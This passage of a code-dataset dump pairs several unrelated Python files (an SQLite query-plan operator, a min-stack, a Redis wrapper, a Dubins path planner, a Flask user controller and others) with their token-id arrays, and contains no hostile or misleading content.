dictargs = self.full_parse(parsedArgs) if 'query' not in dictargs: raise functions.OperatorError(__name__.rsplit('.')[-1]," needs query argument ") query=dictargs['query'] connection = envars['db'] plan=[] buststatementcache() cursor = connection.cursor() cursor.setexectrace(lambda x,y,z:apsw.SQLITE_DENY) connection.setauthorizer(authorizer) cursor.execute(query) connection.setauthorizer(None) yield [('operation', 'text'), ('paramone', 'text'), ('paramtwo', 'text'), ('databasename', 'text'), ('triggerorview', 'text')] for r in plan: yield r def destroy(self): pass def Source(): return vtbase.VTGenerator(QueryPlan) if not ('.' in __name__): """ This is needed to be able to test the function, put it at the end of every new function you create """ import sys import setpath from functions import testfunction() if __name__ == "__main__": reload(sys) sys.setdefaultencoding('utf-8') import doctest doctest.testmod()	[ 1, 9995, 13, 636, 740, 1057, 2346, 9018, 29898, 1972, 29897, 1599, 13641, 3814, 13, 13, 11609, 29879, 278, 2346, 3814, 310, 278, 1881, 2346, 29889, 13, 13, 1252, 9422, 1057, 13, 13, 1678, 8653, 4576, 703, 1972, 9018, 1831, 29871, 29945, 1159, 13, 1678, 5858, 268, 891, 1828, 650, 891, 1828, 10184, 891, 16236, 294, 3871, 891, 7135, 272, 1493, 13, 1678, 448, 2683, 2683, 2683, 2683, 29899, 13, 1678, 3758, 9094, 29918, 6404, 891, 6213, 268, 891, 6213, 268, 891, 6213, 308, 891, 6213, 13, 13, 15945, 29908, 13, 13, 5215, 731, 2084, 13, 5215, 325, 29873, 3188, 13, 5215, 3168, 13, 5215, 263, 567, 29893, 13, 13, 9573, 287, 29922, 5574, 13, 13, 1990, 13641, 20334, 29898, 21908, 3188, 29889, 29963, 29911, 1125, 13, 1678, 822, 478, 29911, 1524, 29898, 1311, 29892, 334, 862, 8485, 7883, 29892, 3579, 6272, 1503, 1125, 13, 4706, 822, 4148, 3950, 29898, 16453, 29892, 1828, 650, 29892, 1828, 10184, 29892, 16236, 294, 3871, 29892, 7135, 272, 1493, 1125, 13, 9651, 9995, 29907, 4212, 746, 1269, 5858, 338, 13240, 29889, 29871, 1334, 508, 736, 3758, 9094, 29918, 8949, 29892, 3758, 9094, 29918, 29928, 1430, 29979, 470, 13, 9651, 3758, 9094, 29918, 6259, 6632, 1525, 15945, 29908, 13, 9651, 396, 1284, 278, 5858, 1024, 13, 9651, 3814, 29889, 4397, 4197, 2547, 29893, 29889, 20698, 29918, 8921, 3950, 29918, 2220, 29961, 16453, 1402, 1828, 650, 29892, 1828, 10184, 29892, 16236, 294, 3871, 29892, 7135, 272, 1493, 2314, 13, 9651, 736, 263, 567, 29893, 29889, 4176, 9094, 29918, 8949, 13, 13, 4706, 822, 289, 504, 20788, 8173, 7295, 13, 9651, 274, 353, 3957, 29889, 18127, 580, 13, 9651, 363, 474, 297, 921, 3881, 29898, 29896, 29896, 29900, 1125, 13, 18884, 263, 29922, 1761, 29898, 29883, 29889, 7978, 703, 2622, 15691, 710, 29898, 29875, 4961, 13, 13, 4706, 17117, 9657, 5085, 353, 1583, 29889, 8159, 29918, 5510, 29898, 862, 8485, 7883, 29897, 13, 308, 13, 4706, 565, 525, 1972, 29915, 451, 297, 9657, 5085, 29901, 13, 9651, 12020, 3168, 29889, 26486, 2392, 22168, 978, 26914, 2288, 2830, 12839, 1495, 14352, 29896, 1402, 29908, 4225, 2346, 2980, 16521, 13, 13, 4706, 2346, 29922, 8977, 5085, 1839, 1972, 2033, 13, 13, 4706, 3957, 353, 8829, 1503, 1839, 2585, 2033, 13, 4706, 3814, 29922, 2636, 13, 13, 4706, 289, 504, 20788, 8173, 580, 13, 13, 4706, 10677, 353, 3957, 29889, 18127, 580, 13, 13, 4706, 10677, 29889, 842, 735, 522, 25525, 29898, 2892, 921, 29892, 29891, 29892, 29920, 29901, 2547, 29893, 29889, 4176, 9094, 29918, 29928, 1430, 29979, 29897, 13, 13, 4706, 3957, 29889, 842, 8921, 3950, 29898, 8921, 3950, 29897, 13, 13, 4706, 10677, 29889, 7978, 29898, 1972, 29897, 13, 13, 4706, 3957, 29889, 842, 8921, 3950, 29898, 8516, 29897, 13, 13, 4706, 7709, 518, 877, 16453, 742, 525, 726, 5477, 6702, 3207, 650, 742, 525, 726, 5477, 6702, 3207, 10184, 742, 525, 726, 5477, 6702, 29503, 294, 3871, 742, 525, 726, 5477, 6702, 21001, 272, 1493, 742, 525, 726, 1495, 29962, 13, 13, 4706, 363, 364, 297, 3814, 29901, 13, 9651, 7709, 364, 13, 268, 13, 1678, 822, 8174, 29898, 1311, 1125, 13, 4706, 1209, 13, 13, 1753, 7562, 7295, 13, 1678, 736, 325, 29873, 3188, 29889, 29963, 29911, 21575, 29898, 3010, 20334, 29897, 13, 13, 361, 451, 313, 4286, 29915, 297, 4770, 978, 1649, 1125, 13, 1678, 9995, 13, 1678, 910, 338, 4312, 304, 367, 2221, 304, 1243, 278, 740, 29892, 1925, 372, 472, 278, 1095, 310, 1432, 13, 1678, 716, 740, 366, 1653, 13, 1678, 9995, 13, 1678, 1053, 10876, 13, 1678, 1053, 731, 2084, 13, 1678, 515, 3168, 1053, 334, 13, 1678, 1243, 2220, 580, 13, 1678, 565, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 4706, 19763, 29898, 9675, 29897, 13, 4706, 10876, 29889, 842, 4381, 22331, 877, 9420, 29899, 29947, 1495, 13, 4706, 1053, 437, 312, 342, 13, 4706, 437, 312, 342, 29889, 1688, 1545, 580, 13, 2 ]
problems/min-stack.py	sailikhithk/tech-interview-prep	0	135881	#https://leetcode.com/problems/min-stack/ class MinStack(object): def __init__(self): self.stack = [] def push(self, x): self.stack.append((x, min(x, self.getMin()))) def pop(self): if len(self.stack)==0: return None return self.stack.pop()[0] def top(self): if len(self.stack)==0: return None return self.stack[-1][0] def getMin(self): if len(self.stack)==0: return float('inf') return self.stack[-1][1] # Your MinStack object will be instantiated and called as such: # obj = MinStack() # obj.push(x) # obj.pop() # param_3 = obj.top() # param_4 = obj.getMin()	[ 1, 396, 991, 597, 280, 300, 401, 29889, 510, 29914, 17199, 29879, 29914, 1195, 29899, 1429, 29914, 13, 1990, 3080, 7264, 29898, 3318, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 1429, 353, 5159, 13, 308, 13, 13, 1678, 822, 5503, 29898, 1311, 29892, 921, 1125, 13, 4706, 1583, 29889, 1429, 29889, 4397, 3552, 29916, 29892, 1375, 29898, 29916, 29892, 1583, 29889, 657, 8140, 580, 4961, 13, 308, 13, 13, 1678, 822, 1835, 29898, 1311, 1125, 13, 4706, 565, 7431, 29898, 1311, 29889, 1429, 29897, 1360, 29900, 29901, 736, 6213, 13, 4706, 736, 1583, 29889, 1429, 29889, 7323, 580, 29961, 29900, 29962, 13, 308, 13, 13, 1678, 822, 2246, 29898, 1311, 1125, 13, 4706, 565, 7431, 29898, 1311, 29889, 1429, 29897, 1360, 29900, 29901, 736, 6213, 13, 4706, 736, 1583, 29889, 1429, 14352, 29896, 3816, 29900, 29962, 13, 308, 13, 13, 1678, 822, 679, 8140, 29898, 1311, 1125, 13, 4706, 565, 7431, 29898, 1311, 29889, 1429, 29897, 1360, 29900, 29901, 736, 5785, 877, 7192, 1495, 13, 4706, 736, 1583, 29889, 1429, 14352, 29896, 3816, 29896, 29962, 13, 308, 13, 13, 13, 29937, 3575, 3080, 7264, 1203, 674, 367, 13213, 630, 322, 2000, 408, 1316, 29901, 13, 29937, 5446, 353, 3080, 7264, 580, 13, 29937, 5446, 29889, 5910, 29898, 29916, 29897, 13, 29937, 5446, 29889, 7323, 580, 13, 29937, 1828, 29918, 29941, 353, 5446, 29889, 3332, 580, 13, 29937, 1828, 29918, 29946, 353, 5446, 29889, 657, 8140, 580, 2 ]
tcex/tcex_redis.py	jcampbell2017tc/tcex	0	75735	# -- coding: utf-8 -- """TcEx Framework Redis Module""" from builtins import str import redis class TcExRedis(object): """Create/Read Data in/from Redis""" def __init__(self, host, port, rhash): """Initialize the Class properties. Args: host (string): The Redis host. port (string): The Redis port. rhash (string): The rhash value. """ self._hash = rhash self._r = redis.StrictRedis(host=host, port=port) def create(self, key, value): """Create key/value pair in Redis. Args: key (string): The key to create in Redis. value (any): The value to store in Redis. Returns: (string): The response from Redis. """ return self._r.hset(self._hash, key, value) def delete(self, key): """Delete data from Redis for the provided key. Args: key (string): The key to delete in Redis. Returns: (string): The response from Redis. """ return self._r.hdel(self._hash, key) def read(self, key): """Read data from Redis for the provided key. Args: key (string): The key to read in Redis. Returns: (any): The response data from Redis. """ data = self._r.hget(self._hash, key) if data is not None and not isinstance(data, str): data = str(self._r.hget(self._hash, key), 'utf-8') return data	[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 15945, 29908, 29911, 29883, 1252, 16657, 4367, 275, 15591, 15945, 29908, 13, 3166, 4240, 1144, 1053, 851, 13, 13, 5215, 29825, 13, 13, 13, 1990, 323, 29883, 1252, 9039, 275, 29898, 3318, 1125, 13, 1678, 9995, 4391, 29914, 6359, 3630, 297, 29914, 3166, 4367, 275, 15945, 29908, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3495, 29892, 2011, 29892, 364, 8568, 1125, 13, 4706, 9995, 6644, 6646, 278, 4134, 4426, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 3495, 313, 1807, 1125, 450, 4367, 275, 3495, 29889, 13, 9651, 2011, 313, 1807, 1125, 450, 4367, 275, 2011, 29889, 13, 9651, 364, 8568, 313, 1807, 1125, 450, 364, 8568, 995, 29889, 13, 4706, 9995, 13, 4706, 1583, 3032, 8568, 353, 364, 8568, 13, 4706, 1583, 3032, 29878, 353, 29825, 29889, 5015, 919, 9039, 275, 29898, 3069, 29922, 3069, 29892, 2011, 29922, 637, 29897, 13, 13, 1678, 822, 1653, 29898, 1311, 29892, 1820, 29892, 995, 1125, 13, 4706, 9995, 4391, 1820, 29914, 1767, 5101, 297, 4367, 275, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 1820, 313, 1807, 1125, 450, 1820, 304, 1653, 297, 4367, 275, 29889, 13, 9651, 995, 313, 1384, 1125, 450, 995, 304, 3787, 297, 4367, 275, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 313, 1807, 1125, 450, 2933, 515, 4367, 275, 29889, 13, 4706, 9995, 13, 4706, 736, 1583, 3032, 29878, 29889, 29882, 842, 29898, 1311, 3032, 8568, 29892, 1820, 29892, 995, 29897, 13, 13, 1678, 822, 5217, 29898, 1311, 29892, 1820, 1125, 13, 4706, 9995, 12498, 848, 515, 4367, 275, 363, 278, 4944, 1820, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 1820, 313, 1807, 1125, 450, 1820, 304, 5217, 297, 4367, 275, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 313, 1807, 1125, 450, 2933, 515, 4367, 275, 29889, 13, 4706, 9995, 13, 4706, 736, 1583, 3032, 29878, 29889, 29882, 6144, 29898, 1311, 3032, 8568, 29892, 1820, 29897, 13, 13, 1678, 822, 1303, 29898, 1311, 29892, 1820, 1125, 13, 4706, 9995, 6359, 848, 515, 4367, 275, 363, 278, 4944, 1820, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 1820, 313, 1807, 1125, 450, 1820, 304, 1303, 297, 4367, 275, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 313, 1384, 1125, 450, 2933, 848, 515, 4367, 275, 29889, 13, 4706, 9995, 13, 4706, 848, 353, 1583, 3032, 29878, 29889, 29882, 657, 29898, 1311, 3032, 8568, 29892, 1820, 29897, 13, 4706, 565, 848, 338, 451, 6213, 322, 451, 338, 8758, 29898, 1272, 29892, 851, 1125, 13, 9651, 848, 353, 851, 29898, 1311, 3032, 29878, 29889, 29882, 657, 29898, 1311, 3032, 8568, 29892, 1820, 511, 525, 9420, 29899, 29947, 1495, 13, 4706, 736, 848, 13, 2 ]
src/mlregression/mlreg.py	muhlbach/ml-regression	1	48971	<gh_stars>1-10 #------------------------------------------------------------------------------ # Libraries #------------------------------------------------------------------------------ # Standard import numpy as np # User from .base.base_mlreg import BaseMLRegressor #------------------------------------------------------------------------------ # MLRegressor #------------------------------------------------------------------------------ class MLRegressor(BaseMLRegressor): """ This class implements the mlreg command """ # ------------------------------------------------------------------------- # Constructor function # ------------------------------------------------------------------------- def __init__(self, estimator, param_grid=None, cv_params={'scoring':None, 'n_jobs':None, 'refit':True, 'verbose':0, 'pre_dispatch':'2*n_jobs', 'error_score':np.nan, 'return_train_score':False}, fold_type="KFold", n_cv_folds=5, shuffle=False, test_size=None, max_n_models=50, n_cf_folds=2, verbose=False, ): super().__init__( estimator=estimator, param_grid=param_grid, cv_params=cv_params, fold_type=fold_type, n_cv_folds=n_cv_folds, shuffle=shuffle, test_size=test_size, max_n_models=max_n_models, n_cf_folds=n_cf_folds, verbose=verbose)	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 2683, 2683, 2683, 2683, 9072, 489, 13, 29937, 365, 4626, 4314, 13, 29937, 2683, 2683, 2683, 2683, 9072, 489, 13, 29937, 10117, 13, 5215, 12655, 408, 7442, 13, 13, 29937, 4911, 13, 3166, 869, 3188, 29889, 3188, 29918, 828, 1727, 1053, 7399, 1988, 4597, 1253, 272, 13, 13, 29937, 2683, 2683, 2683, 2683, 9072, 489, 13, 29937, 23158, 4597, 1253, 272, 13, 29937, 2683, 2683, 2683, 2683, 9072, 489, 13, 1990, 23158, 4597, 1253, 272, 29898, 5160, 1988, 4597, 1253, 272, 1125, 13, 1678, 9995, 13, 1678, 910, 770, 10703, 278, 286, 29880, 1727, 1899, 13, 1678, 9995, 13, 1678, 396, 448, 2683, 2683, 2683, 2683, 1378, 13, 1678, 396, 1281, 18769, 740, 13, 1678, 396, 448, 2683, 2683, 2683, 2683, 1378, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 13, 462, 4844, 1061, 29892, 13, 462, 1828, 29918, 7720, 29922, 8516, 29892, 13, 462, 13850, 29918, 7529, 3790, 29915, 1557, 8253, 2396, 8516, 29892, 13, 462, 9651, 525, 29876, 29918, 9057, 29879, 2396, 8516, 29892, 13, 462, 9651, 525, 999, 277, 2396, 5574, 29892, 13, 462, 9651, 525, 369, 15828, 2396, 29900, 29892, 13, 462, 9651, 525, 1457, 29918, 13369, 22099, 29906, 29930, 29876, 29918, 9057, 29879, 742, 13, 462, 9651, 525, 2704, 29918, 13628, 2396, 9302, 29889, 13707, 29892, 13, 462, 9651, 525, 2457, 29918, 14968, 29918, 13628, 2396, 8824, 1118, 13, 462, 900, 29881, 29918, 1853, 543, 29968, 29943, 1025, 613, 13, 462, 302, 29918, 11023, 29918, 29888, 3361, 29922, 29945, 29892, 13, 462, 528, 21897, 29922, 8824, 29892, 13, 462, 1243, 29918, 2311, 29922, 8516, 29892, 13, 462, 4236, 29918, 29876, 29918, 9794, 29922, 29945, 29900, 29892, 13, 462, 302, 29918, 6854, 29918, 29888, 3361, 29922, 29906, 29892, 13, 462, 26952, 29922, 8824, 29892, 13, 462, 29871, 1125, 13, 4706, 2428, 2141, 1649, 2344, 12035, 13, 9651, 4844, 1061, 29922, 342, 326, 1061, 29892, 13, 9651, 1828, 29918, 7720, 29922, 3207, 29918, 7720, 29892, 13, 9651, 13850, 29918, 7529, 29922, 11023, 29918, 7529, 29892, 13, 9651, 900, 29881, 29918, 1853, 29922, 8771, 29918, 1853, 29892, 13, 9651, 302, 29918, 11023, 29918, 29888, 3361, 29922, 29876, 29918, 11023, 29918, 29888, 3361, 29892, 13, 9651, 528, 21897, 29922, 845, 21897, 29892, 13, 9651, 1243, 29918, 2311, 29922, 1688, 29918, 2311, 29892, 13, 9651, 4236, 29918, 29876, 29918, 9794, 29922, 3317, 29918, 29876, 29918, 9794, 29892, 13, 9651, 302, 29918, 6854, 29918, 29888, 3361, 29922, 29876, 29918, 6854, 29918, 29888, 3361, 29892, 13, 9651, 26952, 29922, 369, 15828, 29897, 13, 2 ]
python/rss18_dtrp.py	petvana/gdip	9	168222	#!/usr/bin/env python3 import sys, os, re, math, copy import numpy as np import matplotlib.pyplot as plt from matplotlib.patches import Circle, PathPatch # import the Python wrapper from dubinswrapper import DubinsWrapper as dubins ################################################ # Scenarios ################################################ #define planning problems: # map file # minimum turning radius # sensing radius # solver type scenarios = [ ("./problems/gdip-n10.txt", 1, 1, 'DTSPN-GDIP'), #("./problems/gdip-n10.txt", 0.5, 1, 'DTSPN-GDIP'), #("./problems/gdip-n10.txt", 1, 0.5, 'DTSPN-GDIP'), ] ################################################ # Settings ################################################ visualize = True show = True # Save figures into a directory "images" save_figures = False if len(sys.argv) > 1: if "-save" in sys.argv[1]: visualize = True save_figures = True if save_figures: os.makedirs("images", exist_ok=True) ################################################## # Functions ################################################## def load_map(filename): """Read config with goal positions""" goals = [] with open(filename) as fp: for line in fp: label, x, y = line.split() goals.append((float(x), float(y))) return goals def plot_points(points, specs = 'b'): x_val = [x[0] for x in points] y_val = [x[1] for x in points] plt.plot(x_val, y_val, specs) def plot_circle(xy, radius): ax = plt.gca() circle = Circle(xy, radius, facecolor='yellow',edgecolor="orange", linewidth=1, alpha=0.2) ax.add_patch(circle) def dist_euclidean(coord1, coord2): (x1, y1) = coord1 (x2, y2) = coord2 (dx, dy) = (x2 - x1, y2 - y1) return math.sqrt(dx * dx + dy * dy) # cache results from computing length of the GDIP lowerPathGDIPLenCache = {} def lowerPathGDIP(s1, s2, turning_radius, cached = False): """Compute lower-bound path using GDIP between two configurations Arguments: s1 - start; s2 - end; turning_radius cached - compute only distance and cache the results Returns: Dubins maneuver (DubinsWrapper) """ if cached: key = (s1, s2) if key in lowerPathGDIPLenCache: length = lowerPathGDIPLenCache[key] return (None, length) interval1 = [s1.alpha1, s1.alpha2 - s1.alpha1] interval2 = [s2.alpha1, s2.alpha2 - s2.alpha1] path = dubins.shortest_path_GDIP(s1.center, interval1, s1.radius, s2.center, interval2, s2.radius, turning_radius) length = path.get_length() if cached: lowerPathGDIPLenCache[key] = length return (None, length) else: return (path, length) def upperPathGDIP(s1, s2, turning_radius, cached = False): """Compute feasible Dubins path two configurations Arguments: s1 - start; s2 - end; turning_radius Returns: (Dubins maneuver 'DubinsWrapper', length) """ q1 = s1.getFeasibleState() q2 = s2.getFeasibleState() dubins_path = dubins.shortest_path(q1, q2, turning_radius) return (dubins_path, dubins_path.get_length()) def compute_distances(samples, dst_fce, turning_radius = 0): n = len(samples) distances = [] for i in range(n): ss1 = samples[i] ss2 = samples[(i+1) % n] n1 = len(ss1) n2 = len(ss2) sh = np.full((n1, n2), np.inf) for i1 in range(n1): for i2 in range(n2): dist = dst_fce(ss1[i1], ss2[i2], turning_radius, cached=True) sh[i1][i2] = dist[1] distances.append(sh) return distances def find_shortest_tour(distances): n = len(distances) best_len = math.inf best_tour = [] # maximal number of samples k_max = max([len(x) for x in distances]) no_start = len(distances[0]) for start in range(no_start): # shortest sh[region_idx][sample_idx] # contains (prev, length) sh = np.full((n+1, k_max), np.inf) # used edge prev = np.full((n+1, k_max), -1) sh[0,start] = 0 for region_idx in range(n): n1 = len(distances[region_idx]) n2 = len(distances[region_idx][0]) for idx2 in range(n2): dst = sh[region_idx][:n1] + distances[region_idx][:,idx2] sh[region_idx+1][idx2] = np.min(dst) prev[region_idx+1][idx2]= np.argmin(dst) act_sol = sh[-1][start] if act_sol < best_len: best_len = act_sol tour = [] act = start for i in range(n): act = prev[n-i][act] tour.append(act) best_tour = list(reversed(tour)) return best_tour def retrieve_path(samples, dst_fce, turning_radius, selected_samples): n = len(samples) path = [] for a in range(0,n): g1 = samples[a][selected_samples[a]] g2 = samples[(a+1) % n][selected_samples[(a+1) % n]] path.append(dst_fce(g1, g2, turning_radius)) return path def path_len(path): return sum_list([dub.get_length() for dub in path]) def plot_path(path, turning_radius, settings): step_size = 0.01 * turning_radius for dub in path: configurations, _ = dub.sample_many(step_size) plot_points(configurations, settings) ################################################## # Target region given by the location and its sensing radius ################################################## class TargetRegion: def __init__(self, center, radius): self.center = center self.radius = radius def get_position_at_boundary(self, beta): return self.center + self.radius * np.array([math.cos(beta), math.sin(beta)]) ################################################## # Sample on the given target region ################################################## class Sample: def __init__(self, targetRegion): # reference to the specific target region of the sample self.target = targetRegion # heading angle interval self.alpha1 = 0 self.alpha2 = 2 * math.pi self.alphaResolution = 1 # position (on the boundary) interval self.beta1 = 0 self.beta2 = 2 * math.pi self.betaResolution = 1 # center and radius of the position neighborhood on the boundary of the target region self.center = np.array(targetRegion.center) self.radius = targetRegion.radius def split(self, resolution): """Split the actual sample into two new ones. The first is stored directly in the actual sample, and the second is returned. If the required resolution is already met, then nothing is done and None is returned. Parameters: resolution: the requred resolution Returns: Sample - the second new sample """ # prefer splitting according position resolution if self.betaResolution < resolution: sam1 = copy.copy(self) sam2 = copy.copy(self) sam1.betaResolution = sam2.betaResolution = 2 * self.betaResolution sam1.beta2 = sam2.beta1 = (self.beta1 + self.beta2) / 2 sam1.update_center_radius() sam2.update_center_radius() return [sam1, sam2] if self.alphaResolution < resolution: sam1 = copy.copy(self) sam2 = copy.copy(self) sam1.alphaResolution = sam2.alphaResolution = 2 * self.alphaResolution sam1.alpha2 = sam2.alpha1 = (self.alpha1 + self.alpha2) / 2 return [sam1, sam2] return None def update_center_radius(self): p1 = self.target.get_position_at_boundary(self.beta1) p2 = self.target.get_position_at_boundary(self.beta2) self.center = (p1 + p2) / 2 self.radius = dist_euclidean(p1, p2) / 2 def getFeasibleState(self): pos = self.target.get_position_at_boundary(self.beta1) q = np.zeros(3) q[0:2] = pos q[2] = self.alpha1 return q def plot(self): ax = plt.gca() circle = Circle(self.center, self.radius, facecolor=None ,edgecolor="green", linewidth=1, alpha=0.2) ax.add_patch(circle) ################################################## # Sampling structure which holds all the used samples ################################################## class Sampling: def __init__(self, centers, sensingRadius): self.targets = [TargetRegion(c, sensingRadius) for c in centers] self.samples = [[Sample(t)] for t in self.targets] def refine_samples(self, selected, resolution): """Refine the seleted samples if the required resolution is not met. Parameters: slected: indexes of the selected samples (vector 1 x n) resolution: the requred resolution Returns: boolean - true if any sample is refined """ n = len(self.samples) refined = False for i in range(n): to_split = selected[i] samp = self.samples[i][to_split] res = samp.split(resolution) if not res is None: self.samples[i][to_split] = res[0] self.samples[i].append(res[1]) refined = True return refined ################################################## # The main solver class ################################################## class GDIPSolver: def __init__(self, turning_radius, goals, sensing_radius): self.turning_radius = turning_radius self.sensing_radius = sensing_radius self.goals = goals self.sampling = Sampling(goals, sensing_radius) self.lower_path = [] self.upper_path = [] self.lower_bound = 0 self.upper_bound = math.inf def plot_map(self): plt.clf() plt.axis('equal') plot_points(self.goals, 'ro') if self.sensing_radius != None: for goal in self.goals: plot_circle(goal, self.sensing_radius) def plot_tour_and_return_length(self, selected_samples, maneuver_function, color): sampling = self.sampling n = len(self.sampling.samples) step_size = 0.01 * self.turning_radius length = 0 for a in range(0,n): g1 = sampling.samples[a][selected_samples[a]] g2 = sampling.samples[(a+1) % n][selected_samples[(a+1) % n]] path = maneuver_function(g1, g2, self.turning_radius) length += path[1] configurations, _ = path[0].sample_many(step_size) if visualize: plot_points(configurations, color) return length def plot_actual_and_return_bounds(self): """Plot the actual sampling, lower and upper bound path Returns: (double, double) - lower bound, upper bound """ if visualize: self.plot_map() for s in self.sampling.samples: for ss in s: ss.plot() lower_selected_samples = self.find_lower_bound_tour() upper_selected_samples = self.find_upper_bound_tour() lower_bound = self.plot_tour_and_return_length(lower_selected_samples, lowerPathGDIP, 'r-') upper_bound = self.plot_tour_and_return_length(upper_selected_samples, upperPathGDIP, 'b-') return (lower_bound, upper_bound) def find_lower_bound_tour(self): """Select the samples which represent the shortest lower bound tour Returns: indexes of the samples (vector 1 x n) """ distances = compute_distances(self.sampling.samples, lowerPathGDIP, turning_radius = self.turning_radius) selected_samples = find_shortest_tour(distances) return selected_samples def find_upper_bound_tour(self): """Select the samples which represent the shortest upper bound (feasible) tour Returns: indexes of the samples (vector 1 x n) """ distances = compute_distances(self.sampling.samples, upperPathGDIP, turning_radius = self.turning_radius) selected_samples = find_shortest_tour(distances) return selected_samples ################################################## # Main loop over selected scenarios ################################################## for scenario in scenarios: # Load the problem and scenario settings filename = scenario[0] goals = load_map(filename) turning_radius = scenario[1] sensing_radius = scenario[2] solver_type = scenario[3] #tour planning part solver = GDIPSolver(turning_radius, goals, sensing_radius) solver.plot_actual_and_return_bounds() print("\n--- Problem: {} Turning radius: {:6.2f} Sensing radius: {:6.2f} ---" .format(filename, turning_radius, sensing_radius)) if show: plt.pause(0.1) max_resolution = 64 act_res = 4 while act_res <= max_resolution: refined = True while refined: selected_samples = solver.find_lower_bound_tour() refined = solver.sampling.refine_samples(selected_samples, act_res) (lower_bound, upper_bound) = solver.plot_actual_and_return_bounds() gap = (upper_bound - lower_bound) / upper_bound * 100.0 print("Res: {:4d} Lower: {:6.2f} Upper: {:6.2f} Gap(%): {:6.2f}" .format(act_res, lower_bound, upper_bound, gap)) if visualize: plt.title("Maximum resolution: {:4d}".format(act_res)) if show: plt.pause(0.1) if save_figures: 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app/controllers/user_controller.py	ryannewman2828/Hack-the-North-2018-Backend-Challenge	0	62517	<filename>app/controllers/user_controller.py from app.models.users import User from app.models.skills import Skill from flask import request from flask_restful import Resource from app.models.database import db_session string_args = ["name", "picture", "company", "email", "phone", "country"] float_args = ["latitude", "longitude"] class UserController(Resource): def get(self, user_id): user = User.query.get(user_id) if user is not None: user = user.as_dict() skills = Skill.query.filter(Skill.user_id == int(user_id)).all() user['skills'] = map(lambda skill: skill.as_dict(), skills) return {"user": user}, 200 return {"error": "User not Found"}, 404 def put(self, user_id): user = User.query.get(user_id) if user is not None: args = request.get_json(silent=True) for key, value in args.items(): if args[key] is not None: if (key in string_args and isinstance(args[key], str)) or \ (key in float_args and isinstance(args[key], float)): setattr(user, key, args[key]) db_session.commit() return {"user": user.as_dict()}, 200 return {"error": "User not found"}, 404	[ 1, 529, 9507, 29958, 932, 29914, 1285, 11897, 29914, 1792, 29918, 8299, 29889, 2272, 13, 3166, 623, 29889, 9794, 29889, 7193, 1053, 4911, 13, 3166, 623, 29889, 9794, 29889, 808, 6090, 1053, 4971, 453, 13, 3166, 29784, 1053, 2009, 13, 3166, 29784, 29918, 5060, 1319, 1053, 18981, 13, 3166, 623, 29889, 9794, 29889, 9803, 1053, 4833, 29918, 7924, 13, 13, 1807, 29918, 5085, 353, 6796, 978, 613, 376, 12095, 613, 376, 14518, 613, 376, 5269, 613, 376, 6710, 613, 376, 13509, 3108, 13, 7411, 29918, 5085, 353, 6796, 5066, 4279, 613, 376, 5426, 4279, 3108, 13, 13, 13, 1990, 4911, 2956, 29898, 6848, 1125, 13, 1678, 822, 679, 29898, 1311, 29892, 1404, 29918, 333, 1125, 13, 4706, 1404, 353, 4911, 29889, 1972, 29889, 657, 29898, 1792, 29918, 333, 29897, 13, 4706, 565, 1404, 338, 451, 6213, 29901, 13, 9651, 1404, 353, 1404, 29889, 294, 29918, 8977, 580, 13, 9651, 25078, 353, 4971, 453, 29889, 1972, 29889, 4572, 29898, 15797, 453, 29889, 1792, 29918, 333, 1275, 938, 29898, 1792, 29918, 333, 8106, 497, 580, 13, 9651, 1404, 1839, 808, 6090, 2033, 353, 2910, 29898, 2892, 19911, 29901, 19911, 29889, 294, 29918, 8977, 3285, 25078, 29897, 13, 9651, 736, 8853, 1792, 1115, 1404, 1118, 29871, 29906, 29900, 29900, 13, 4706, 736, 8853, 2704, 1115, 376, 2659, 451, 7460, 10758, 29871, 29946, 29900, 29946, 13, 13, 1678, 822, 1925, 29898, 1311, 29892, 1404, 29918, 333, 1125, 13, 4706, 1404, 353, 4911, 29889, 1972, 29889, 657, 29898, 1792, 29918, 333, 29897, 13, 4706, 565, 1404, 338, 451, 6213, 29901, 13, 9651, 6389, 353, 2009, 29889, 657, 29918, 3126, 29898, 25590, 296, 29922, 5574, 29897, 13, 9651, 363, 1820, 29892, 995, 297, 6389, 29889, 7076, 7295, 13, 18884, 565, 6389, 29961, 1989, 29962, 338, 451, 6213, 29901, 13, 462, 1678, 565, 313, 1989, 297, 1347, 29918, 5085, 322, 338, 8758, 29898, 5085, 29961, 1989, 1402, 851, 876, 470, 320, 13, 462, 9651, 313, 1989, 297, 5785, 29918, 5085, 322, 338, 8758, 29898, 5085, 29961, 1989, 1402, 5785, 22164, 13, 462, 4706, 731, 5552, 29898, 1792, 29892, 1820, 29892, 6389, 29961, 1989, 2314, 13, 9651, 4833, 29918, 7924, 29889, 15060, 580, 13, 9651, 736, 8853, 1792, 1115, 1404, 29889, 294, 29918, 8977, 580, 1118, 29871, 29906, 29900, 29900, 13, 4706, 736, 8853, 2704, 1115, 376, 2659, 451, 1476, 10758, 29871, 29946, 29900, 29946, 13, 2 ]
Topic_2_statements/simpleSubtraction.py	Izardo/myWork	0	153840	# This program subtracts one number from another # Author: <NAME> first = int(input("Enter the first number:")) # requests input of integer from user second = int(input("Enter the second number:")) # requests input of integer from user # prints sum below print(first - second)	[ 1, 396, 910, 1824, 23197, 29879, 697, 1353, 515, 1790, 13, 29937, 13361, 29901, 529, 5813, 29958, 13, 13, 4102, 353, 938, 29898, 2080, 703, 10399, 278, 937, 1353, 29901, 5783, 259, 396, 7274, 1881, 310, 6043, 515, 1404, 13, 7496, 353, 938, 29898, 2080, 703, 10399, 278, 1473, 1353, 29901, 5783, 396, 7274, 1881, 310, 6043, 515, 1404, 13, 13, 29937, 14677, 2533, 2400, 13, 2158, 29898, 4102, 448, 1473, 29897, 2 ]
